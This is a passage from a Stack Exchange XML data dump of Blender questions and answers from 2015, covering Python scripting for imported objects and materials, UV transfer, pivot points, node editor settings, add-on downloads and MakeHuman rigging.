is not happening. So I tried to scale it even that is not happening.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I realized that no operation is being performed on the imported objects. But the same operations are executing on the objects that are created (i.e. not imported).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be appreciated.&lt;/p&gt;&#xA;" OwnerUserId="11364" LastEditorUserId="241" LastEditDate="2020-06-26T13:44:01.677" LastActivityDate="2020-06-26T13:44:01.677" Title="Modify obj after import using python" Tags="&lt;python&gt;&lt;objects&gt;&lt;import&gt;&lt;obj&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="24135" PostTypeId="1" AcceptedAnswerId="24151" CreationDate="2015-02-02T18:54:26.627" Score="3" ViewCount="614" Body="&lt;p&gt;Could I associate actuator's value with message sensor's subject?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need, when I receive a message, to convert its subject in my actuator's value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I've tried:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HdbFy.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Python controller's code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bge&#xA;&#xA;def add_score():&#xA;    cont = bge.logic.getCurrentController()&#xA;    score = cont.owner&#xA;    player = score.name&#xA;&#xA;    for sensor in cont.sensors:&#xA;        for body in sensor.bodies:&#xA;            for subject in sensor.subjects:&#xA;&#xA;                try:&#xA;                    point = int(subject)&#xA;                except ValueError:&#xA;                    point = 0&#xA;&#xA;                if player not in score: #it starts score&#xA;                    start(score, player)&#xA;&#xA;                score[player] += point&#xA;&#xA;                act = score.actuators['text1']&#xA;                act.value = str(score[player])&#xA;&#xA;def start(score, pl):&#xA;    score[pl] = 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7829" LastEditorUserId="7829" LastEditDate="2015-02-02T19:26:52.827" LastActivityDate="2015-02-03T02:22:04.960" Title="Actuator's Value and Message Sensor's Subject" Tags="&lt;python&gt;&lt;game-engine&gt;&lt;logic-bricks&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24136" PostTypeId="1" AcceptedAnswerId="24138" CreationDate="2015-02-02T19:09:29.170" Score="10" ViewCount="33407" Body="&lt;p&gt;I've got two objects that are exactly the same, but with different UVs, is there any way to transfer the UV from one to another?&lt;/p&gt;&#xA;" OwnerUserId="9718" LastEditorUserId="2217" LastEditDate="2015-02-02T19:45:11.227" LastActivityDate="2018-08-14T18:45:53.390" Title="Can I transfer an already made UV to another object?" Tags="&lt;mesh&gt;&lt;uv&gt;&lt;objects&gt;" AnswerCount="1" CommentCount="11" FavoriteCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="24137" PostTypeId="1" CreationDate="2015-02-02T19:29:19.933" Score="2" ViewCount="55" Body="&lt;p&gt;I have two blender files:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;A table having an armature as parent (&lt;a href=&quot;https://drive.google.com/file/d/0B7DcxH-qq_HTcFB0RGVxSEgtUGc/view?usp=sharing&quot; rel=&quot;nofollow&quot;&gt;table.blend&lt;/a&gt;)&lt;/li&gt;&#xA;&lt;li&gt;A bottle having an armature as parent (&lt;a href=&quot;https://drive.google.com/file/d/0B7DcxH-qq_HTOWpTMl8zT3E5ZEU/view?usp=sharing&quot; rel=&quot;nofollow&quot;&gt;bottle.blend&lt;/a&gt;)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I export both models in MD5 (&lt;a href=&quot;http://www.katsbits.com/smforum/index.php?topic=167.0&quot; rel=&quot;nofollow&quot;&gt;http://www.katsbits.com/smforum/index.php?topic=167.0&lt;/a&gt;) and I have a different behavior:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The vertices of the table are extracted in world coordinate. But when I extract the vertices of the bottle, the vertices are extracted relative to armature position.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't find difference in my Blend files. Where I can configure that ?&lt;/p&gt;&#xA;" OwnerUserId="11342" LastActivityDate="2015-02-02T19:29:19.933" Title="Vertex: extract in world relative" Tags="&lt;vertices&gt;" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24138" PostTypeId="2" ParentId="24136" CreationDate="2015-02-02T19:35:15.743" Score="26" Body="&lt;p&gt;You can select the two objects, and link their UV maps.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Select the &quot;target&quot; object&lt;/li&gt;&#xA;&lt;li&gt;Select the &quot;source&quot; object (this needs to be the active object)&lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;L&lt;/kbd&gt;, &quot;Transfer UV maps&quot;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="822" LastActivityDate="2015-02-02T19:35:15.743" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24139" PostTypeId="2" ParentId="24133" CreationDate="2015-02-02T19:58:58.157" Score="7" Body="&lt;p&gt;Operators like &lt;code&gt;bpy.ops.import_scene.obj()&lt;/code&gt; can't return the object name itself. If you know the name of the imported object(s) simply use this: &lt;code&gt;bpy.data.objects['yourname']&lt;/code&gt; and assign it to a variable to apply a material on it: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# assignment&#xA;obj = bpy.data.objects['yourname']&#xA;# append material&#xA;obj.data.materials.append(mat)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you don't know the name of the the imported object(s) you have to select them after the import with something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# single selection&#xA;obj_object = bpy.context.object&#xA;# multiple selection&#xA;obj_objects = bpy.context.selected_objects[:]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is a working example for importing multiple objects from 1 obj file. It appends a newly created material on the imported objects and prints out their names for error handling. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;full_path_to_file = &quot;test.obj&quot;&#xA;bpy.ops.import_scene.obj(filepath=full_path_to_file)&#xA;&#xA;# make sure to get all imported objects&#xA;obj_objects = bpy.context.selected_objects[:]&#xA;&#xA;# create the material&#xA;mat = bpy.data.materials.new('MaterialName')&#xA;mat.diffuse_color = (0.1,0.0,0.7)&#xA;mat.diffuse_shader = 'LAMBERT'&#xA;mat.diffuse_intensity = 1.0&#xA;&#xA;# iterate through all objects&#xA;for obj in obj_objects:&#xA;&#xA;    # print the name of the current obj&#xA;    print (obj.name)&#xA;&#xA;    # set current object to the active one&#xA;    bpy.context.scene.objects.active = obj&#xA;&#xA;    # get the generated material&#xA;    mat = bpy.data.materials['MaterialName']&#xA;&#xA;    # if a material exists overwrite it&#xA;    if len(obj.data.materials):&#xA;        # assign to 1st material slot&#xA;        obj.data.materials[0] = mat&#xA;&#xA;    # if there is no material append it&#xA;    else:&#xA;        obj.data.materials.append(mat)&#xA;&#xA;    # move the object, if it's named &quot;Cube&quot;&#xA;    if (obj.name == &quot;Cube&quot;):&#xA;        obj.location = (0,0,10)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3710" LastEditorUserId="3710" LastEditDate="2015-02-02T20:05:39.510" LastActivityDate="2015-02-02T20:05:39.510" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24140" PostTypeId="1" CreationDate="2015-02-02T20:04:05.787" Score="5" ViewCount="5723" Body="&lt;p&gt;Something weird is happening where the manipulator arrows moves where ever the 3D cursor is. I don't want this. &lt;img src=&quot;https://i.stack.imgur.com/QTIsS.png&quot; alt=&quot;manipulator widget placement&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="11367" LastEditorUserId="12" LastEditDate="2015-02-02T21:33:24.190" LastActivityDate="2015-02-02T21:33:24.190" Title="Manipulator widget appearing where the 3d cursor is" Tags="&lt;3d-view&gt;&lt;3d-cursor&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="1" ClosedDate="2015-02-02T20:39:08.630" ContentLicense="CC BY-SA 3.0" />
  <row Id="24141" PostTypeId="2" ParentId="24140" CreationDate="2015-02-02T20:06:46.360" Score="6" Body="&lt;p&gt;You have set the &lt;em&gt;Pivot Point&lt;/em&gt; to the &lt;em&gt;3D Cursor&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KSmqL.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Simply go to the menu and select whichever you want to use (most likely &lt;em&gt;Median Point&lt;/em&gt;).&lt;/p&gt;&#xA;" OwnerUserId="6204" LastActivityDate="2015-02-02T20:06:46.360" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24142" PostTypeId="2" ParentId="24095" CreationDate="2015-02-02T20:13:26.000" Score="2" Body="&lt;p&gt;You need to add a &lt;em&gt;Composite&lt;/em&gt; node with the same input as your &lt;em&gt;Viewer&lt;/em&gt; node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PbKOj.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order for anything to be composited in the &lt;em&gt;Render Image&lt;/em&gt; you must have the &lt;em&gt;Composite&lt;/em&gt; node, otherwise the &lt;em&gt;Compositor&lt;/em&gt; is skipped entirely.&lt;/p&gt;&#xA;" OwnerUserId="6204" LastActivityDate="2015-02-02T20:13:26.000" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24144" PostTypeId="1" AcceptedAnswerId="24159" CreationDate="2015-02-02T22:58:17.160" Score="1" ViewCount="602" Body="&lt;p&gt;I want to scale each selected edge individually along it. To do it I first duplicate each selected edge and then try to scale it using bmesh.ops.scale. Unfortunately it scales using origin/median pivot point. How to do it in python so that edges are scaled using individual origins? How can I use different pivot types from python?&lt;/p&gt;&#xA;&lt;p&gt;Here is my script:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import bmesh&#xA;&#xA;def getDupliEdges(edges):&#xA;    dupEdges = []&#xA;    for e in edges:&#xA;        retOneEdge = bmesh.ops.duplicate(&#xA;                bm,&#xA;                geom=[e])&#xA;&#xA;        dupGeom = retOneEdge[&amp;quot;geom&amp;quot;]&#xA;        dupEdge = [ ele for ele in dupGeom if isinstance(ele, bmesh.types.BMEdge)]&#xA;        dupEdges.append(dupEdge[0])&#xA;    return dupEdges&#xA;&#xA;def scaleEdges(dupEdges,factor):&#xA;    for e in dupEdges:&#xA;        verts = e.verts&#xA;        bmesh.ops.scale(&#xA;            bm,&#xA;            vec = factor,&#xA;            verts = verts)&#xA;&#xA;obj = bpy.context.edit_object&#xA;mesh = obj.data&#xA;bm = bmesh.from_edit_mesh(mesh)&#xA;bm.faces.active = None&#xA;&#xA;edges = [e for e in bm.edges if e.select == True]&#xA;&#xA;view3dList = [ele for ele in bpy.context.screen.areas if isinstance(ele.spaces[0],bpy.types.SpaceView3D)]&#xA;view3d = view3dList[0]&#xA;view3d.spaces[0].pivot_point='INDIVIDUAL_ORIGINS'&#xA;    &#xA;dupEdges = getDupliEdges(edges)&#xA;&#xA;scaleEdges(dupEdges, [2.0, 2.0, 2.0])&#xA;&#xA;bmesh.update_edit_mesh(mesh, True)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Here is an image to illustrate the question.&#xA;On the left - initial selection - 3 edges;&#xA;In the middle - effect of my script;&#xA;On the right - how I would like it to work.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/bUkMo.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Thanks for any tips on that :)&lt;/p&gt;&#xA;" OwnerUserId="1316" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-02-25T11:09:05.663" Title="How to scale unconnected edges using individual origins in python?" Tags="&lt;python&gt;&lt;modeling&gt;&lt;transforms&gt;&lt;edges&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24145" PostTypeId="1" AcceptedAnswerId="24146" CreationDate="2015-02-02T23:09:53.840" Score="3" ViewCount="8179" Body="&lt;p&gt;I've added a environment texture as my background as well as lighting for a house. It works fine. At one point I could edit the environment texture as well as adjusting hue or brightness in the node editor. But now I couldn't figure out how to bring it back. The node editor only shows the last selected object. And I can't select &quot;world&quot; in the outliner either. Any idea?&lt;/p&gt;&#xA;" OwnerUserId="11368" LastActivityDate="2015-02-02T23:16:54.920" Title="Environment texture for background does not show up in node editor" Tags="&lt;cycles-render-engine&gt;&lt;node-editor&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24146" PostTypeId="2" ParentId="24145" CreationDate="2015-02-02T23:16:54.920" Score="9" Body="&lt;p&gt;You can select world materials in the &lt;em&gt;Node editor&lt;/em&gt; by pressing the world icon in the header:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/sSvql.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The cube icon will switch back to showing object materials.&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2015-02-02T23:16:54.920" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24147" PostTypeId="1" CreationDate="2015-02-03T01:13:35.787" Score="8" ViewCount="23329" Body="&lt;p&gt;I want to have a 'master rig' file in Unity that I can plug a separate animation into. So then I can go and edit a single animation without having to re-import the whole FBX with the rig, mesh, and animation. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that I have no idea how to export the FBX with just animation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The single file FBX with all my actions works, it just annoying to have to rearrange the rotation, scale, and layers each time I replace the file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance&lt;/p&gt;&#xA;" OwnerUserId="11370" LastEditorDisplayName="user7952" LastEditDate="2015-03-12T19:08:48.127" LastActivityDate="2020-07-23T15:07:04.933" Title="Is it possible to export animations/actions separately from Blender to Unity" Tags="&lt;animation&gt;&lt;export&gt;&lt;unity&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24148" PostTypeId="2" ParentId="24110" CreationDate="2015-02-03T01:16:13.010" Score="16" Body="&lt;p&gt;There are a couple things going on here:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;The glass is not entirely white, so a noticeable amount of light is being absorbed. Setting it to white (or almost white) gives a more glassy result:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7WUG6.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With a less uniform lighting/environment the glass is more visible:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/E9ARk.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;br&gt;&#xA;&lt;sup&gt;In this render I adjusted the model to get rid of the subsurf artifacts and thicken the bottom a bit.&lt;/sup&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;There is an air gap between the liquid and the glass. This isn't the way liquid normally sits in a glass in real life, so it might look funny. See &lt;a href=&quot;https://blender.stackexchange.com/q/2823/599&quot;&gt;Liquid / glass interface IOR and normals in Cycles&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the interface between the liquid, air, ice, and glass are setup as described, you get a result like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hXhSv.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/274/&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=274&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.140" LastActivityDate="2015-06-16T01:44:57.663" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24149" PostTypeId="2" ParentId="24124" CreationDate="2015-02-03T01:17:32.343" Score="4" Body="&lt;p&gt;As has been mentioned the addon you mention is included in blender. There are however addons that are in blenders-addons-contrib that people may be interested in downloading and testing. The &lt;a href=&quot;https://developer.blender.org/diffusion/BAC/&quot; rel=&quot;nofollow noreferrer&quot;&gt;contrib addons&lt;/a&gt; are in development and have not been accepted to be included in stable releases.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is an overlooked method to access individual addons from blender addons-contrib repository, which can also be used to download updates to official addons after releases.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Start by going to &lt;a href=&quot;https://git.blender.org/gitweb/&quot; rel=&quot;nofollow noreferrer&quot;&gt;git.blender.org&lt;/a&gt;, in the available list select the project you want to look in (blender-addons-contrib.git), at the top of this page click on tree.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here you can see single file addons have a raw link to the right that you can use to get the file. Items listed as links are folders of more complex addons, if we take one as an example (add_mesh_building_objects) clicking it will show the files that makeup the addon. At the top of the page you will find a snapshot link that will download the folder you are looking at, without downloading the rest of the repository.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fC8HA.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can then unzip this tarball and place it where &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Extensions/Python/Add-Ons&quot; rel=&quot;nofollow noreferrer&quot;&gt;blender will see it&lt;/a&gt;. You may also want to rename it as the folder name will be misleading. The install addon button fails at this point as blender only accepts addons in .py or .zip files and this download will be in tar.gz format. You could unzip and then zip as a .zip file to use the install addon button.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2015-02-03T01:17:32.343" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24150" PostTypeId="1" CreationDate="2015-02-03T02:17:00.557" Score="0" ViewCount="50" Body="&lt;p&gt;I'm trying to animate a turret firing sets of two laser bolts, but I want to be able to stop and start the process. I read an answer saying to set a keyframe for the particle system, but I don't know how to do that.  Could anyone point me in the right direction?&lt;/p&gt;&#xA;" OwnerUserId="7966" LastActivityDate="2015-02-03T02:17:00.557" Title="Animating particle system" Tags="&lt;animation&gt;&lt;particles&gt;&lt;keyframes&gt;" AnswerCount="0" CommentCount="5" ClosedDate="2015-02-03T09:50:50.217" ContentLicense="CC BY-SA 3.0" />
  <row Id="24151" PostTypeId="2" ParentId="24135" CreationDate="2015-02-03T02:22:04.960" Score="1" Body="&lt;p&gt;Your trying to overcomplicate things. The property actuator changes a value which you can do in python by setting the property yourself.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;score['Text'] = score[player]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="935" LastActivityDate="2015-02-03T02:22:04.960" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24152" PostTypeId="1" CreationDate="2015-02-03T03:28:27.267" Score="4" ViewCount="1016" Body="&lt;p&gt;The free version of renderman is coming out soon and I'm wondering if it can be pluged into blender. Is there a way to use renderman in blender?&lt;/p&gt;&#xA;" OwnerUserId="11351" LastEditorUserId="2217" LastEditDate="2015-02-11T03:17:07.963" LastActivityDate="2015-07-16T17:00:43.503" Title="Is there a way to use renderman in blender?" Tags="&lt;rendering&gt;&lt;add-on&gt;&lt;external-applications&gt;" AnswerCount="2" CommentCount="6" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24153" PostTypeId="1" AcceptedAnswerId="24155" CreationDate="2015-02-03T03:46:42.280" Score="6" ViewCount="2171" Body="&lt;p&gt;Is there a vertex/edge slide like tool for curves?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In other words, I'd like to be able to edit the curve in the same way I can with a mesh, by sliding a vertex along a connecting edge:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ESPlz.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible?&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2016-11-18T12:53:33.137" Title="Vertex slide for curves?" Tags="&lt;modeling&gt;&lt;bezier-curves&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24154" PostTypeId="1" AcceptedAnswerId="24158" CreationDate="2015-02-03T04:55:04.303" Score="4" ViewCount="8578" Body="&lt;p&gt;My objective is to have a room in which a person is doing some activities like bending, walking, etc. I am using MakeHuman to model the person. After that, in blender I import the model from make human. Now, I need some help on how to make an animation like walking. Does MakeHuman use armatures?&lt;/p&gt;&#xA;" OwnerUserId="11289" LastEditorUserId="2217" LastEditDate="2015-02-03T14:28:35.983" LastActivityDate="2015-02-03T14:28:35.983" Title="Blender animation using MakeHuman files" Tags="&lt;animation&gt;&lt;rigging&gt;&lt;makehuman&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24155" PostTypeId="2" ParentId="24153" CreationDate="2015-02-03T06:57:43.450" Score="7" Body="&lt;p&gt;Straightforward way, no (currently). But possible to make it in another way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the cuve is as simple as a poly spline, I think you can try converting it to a mesh first, tweak it with Vertex Slide tool, then convert back to curve, but the original paramters on curve may lose then. Or:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Select the target curve point, &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;H&lt;/kbd&gt; &gt; &lt;em&gt;Hook to New Object&lt;/em&gt;;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;D&lt;/kbd&gt; to duplicate, then &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;C&lt;/kbd&gt;&lt;kbd&gt;2&lt;/kbd&gt;Convert the curve in to mesh object;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;kbd&gt;Tab&lt;/kbd&gt; in to the Edit Mode, select the target vertex, &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;RMB&lt;/kbd&gt; to select the hook (a empty object) while still in Edit Mode, &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;P&lt;/kbd&gt; &gt; to make vertex parent. Then you can slide that vertex in the mesh to control the target curve point.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Another way is to use the handle orientation as transformation reference:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Be sure to switch Spline Type to &lt;strong&gt;Bezier&lt;/strong&gt;, then set handle type to &lt;strong&gt;Vector&lt;/strong&gt;;&lt;/li&gt;&#xA;&lt;li&gt;Switch Transformation Orientation to &lt;strong&gt;Normal&lt;/strong&gt;, then select the handle control point, create transformation orientation from it;&lt;/li&gt;&#xA;&lt;li&gt;Now select the curve point, you can move it along Z axis of the new orientation.&lt;/li&gt;&#xA;&lt;li&gt;When finished, you may want to delete the created orientation(s).&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UV4zc.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="696" LastEditorUserId="696" LastEditDate="2015-02-03T11:20:46.087" LastActivityDate="2015-02-03T11:20:46.087" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24156" PostTypeId="1" CreationDate="2015-02-03T07:03:39.767" Score="2" ViewCount="616" Body="&lt;p&gt;I'm trying to update a 3rd party addon from Blender 2.6 to 2.7, as the author won't do it.&#xA;The only problem I have is here:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ActiveUV = BMesh.data.uv_textures.active&#xA;for iFace, BFace in enumerate( BMesh.data.polygons ):&#xA;    FaceUVs = []&#xA;&#xA;    if ActiveUV != None:&#xA;        for UV in ActiveUV.data[iFace].uv:&#xA;            FaceUVs.append( [UV[0], UV[1]] )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And I have this error message:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;'MeshTexturePoly' object has no attribute 'uv'&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I've tried with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;BMesh.data.tessface_uv_textures.active&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But it returns 'None'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;BMesh.data.uv_layers.active&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But It doesn't seem to be the right one.&lt;/p&gt;&#xA;" OwnerUserId="10983" LastEditorUserId="2217" LastEditDate="2015-02-03T15:19:51.373" LastActivityDate="2015-02-03T15:19:51.373" Title="uv_textures.active.data[0].uv equivalent in Blender 2.7?" Tags="&lt;python&gt;&lt;scripting&gt;&lt;uv&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24157" PostTypeId="2" ParentId="1404" CreationDate="2015-02-03T08:12:16.187" Score="6" Body="&lt;p&gt;For Blender Cycles you can try &lt;a href=&quot;http://elbrujodelatribu.blogspot.com.es/2013/06/blender-cycles-how-to-make-clay-render.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;this method&lt;/a&gt;. You don't need AO or lights. You only have to set a white diffuse material to all objects and use this node setup for your world:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/71vyg.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the material for your objects:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KRuxr.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you can get a clay render like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/QBlwg.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go to Properties &gt;&gt; Render Layers Button &gt;&gt; Layer Panel and select that clay material in the Materials list appearing there. That's all.&lt;/p&gt;&#xA;" OwnerUserId="6276" LastEditorUserId="20402" LastEditDate="2016-06-09T17:54:58.383" LastActivityDate="2016-06-09T17:54:58.383" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24158" PostTypeId="2" ParentId="24154" CreationDate="2015-02-03T08:50:56.430" Score="5" Body="&lt;p&gt;There are two different rig-types available &lt;em&gt;rigify&lt;/em&gt; and &lt;em&gt;mhx&lt;/em&gt; you need to enable the corresponding addon in the &lt;em&gt;User Preferences&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;MakeHuman rig (mhx)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/FVCiB.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Rigify&#xA;&lt;img src=&quot;https://i.stack.imgur.com/eMlZm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The bones are organized in layers, with the addon enabled you get buttons to select them, in &lt;em&gt;Pose Mode&lt;/em&gt; you can setup poses and keyframe them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jhSgZ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Same for rigify:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/s1pZa.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Related:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/3736/how-should-an-animated-character-be-moved-while-repeating-a-walk-cycle/3740#3740&quot;&gt;How should an animated character be moved while repeating a walk cycle?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/1530/what-are-the-not-so-obvious-features-of-rigify/1856#1856&quot;&gt;What are the not so obvious features of 